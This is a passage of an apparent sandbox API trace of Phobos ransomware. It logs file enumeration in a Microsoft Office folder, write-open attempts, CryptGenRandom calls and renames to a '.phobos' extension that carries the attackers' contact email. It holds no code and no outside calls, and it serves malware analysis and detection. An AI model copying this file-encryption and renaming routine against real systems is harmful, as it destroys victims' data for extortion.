lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=207) returned 1 [0154.761] CloseHandle (hObject=0x254) returned 1 [0154.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt")) returned 0x220 [0154.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.761] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.762] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114) returned 1 [0154.762] CloseHandle (hObject=0x254) returned 1 [0154.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk")) returned 0x220 [0154.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.762] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.763] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=113) returned 1 [0154.763] CloseHandle (hObject=0x254) returned 1 [0154.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk")) returned 0x220 [0154.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.764] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.765] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=169176) returned 1 [0154.765] CloseHandle (hObject=0x254) returned 1 [0154.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onintl.dll")) returned 0x220 [0154.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.766] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgch.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.767] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1608) returned 1 [0154.767] CloseHandle (hObject=0x254) returned 1 [0154.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgch.vrd")) returned 0x220 [0154.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgch.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.767] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.769] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=67712) returned 1 [0154.769] CloseHandle (hObject=0x254) returned 1 [0154.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.vsl")) returned 0x220 [0154.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.769] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgcintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.770] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=46224) returned 1 [0154.771] CloseHandle (hObject=0x254) returned 1 [0154.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgcintl.dll")) returned 0x220 [0154.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgcintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgcintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.771] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgpos.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.772] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1098) returned 1 [0154.772] CloseHandle (hObject=0x254) returned 1 [0154.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgpos.vrd")) returned 0x220 [0154.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgpos.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgpos.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.772] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.775] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=78480) returned 1 [0154.775] CloseHandle (hObject=0x250) returned 1 [0154.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgwiz.vsl")) returned 0x220 [0154.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgwiz.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.775] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ospintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.778] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=18544) returned 1 [0154.778] CloseHandle (hObject=0x254) returned 1 [0154.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ospintl.dll")) returned 0x220 [0154.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ospintl.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ospintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ospintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.778] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outllibr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.779] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=7477848) returned 1 [0154.779] CloseHandle (hObject=0x254) returned 1 [0154.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outllibr.dll")) returned 0x220 [0154.780] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outllibr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLLIBR.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outllibr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0154.780] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLLIBR.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outllibr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outllibr.dll")) returned 0 [0154.780] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hol"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.781] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1337254) returned 1 [0154.781] CloseHandle (hObject=0x254) returned 1 [0154.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hol")) returned 0x220 [0154.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hol.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.781] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.782] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=676746) returned 1 [0154.782] CloseHandle (hObject=0x254) returned 1 [0154.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs")) returned 0x220 [0154.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.782] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.783] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=641) returned 1 [0154.783] CloseHandle (hObject=0x254) returned 1 [0154.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxc")) returned 0x220 [0154.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.783] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.784] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=207) returned 1 [0154.784] CloseHandle (hObject=0x254) returned 1 [0154.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxt")) returned 0x220 [0154.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.784] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.785] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114) returned 1 [0154.785] CloseHandle (hObject=0x254) returned 1 [0154.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_f_col.hxk")) returned 0x220 [0154.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.786] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.786] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=113) returned 1 [0154.787] CloseHandle (hObject=0x254) returned 1 [0154.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_k_col.hxk")) returned 0x220 [0154.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.787] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | 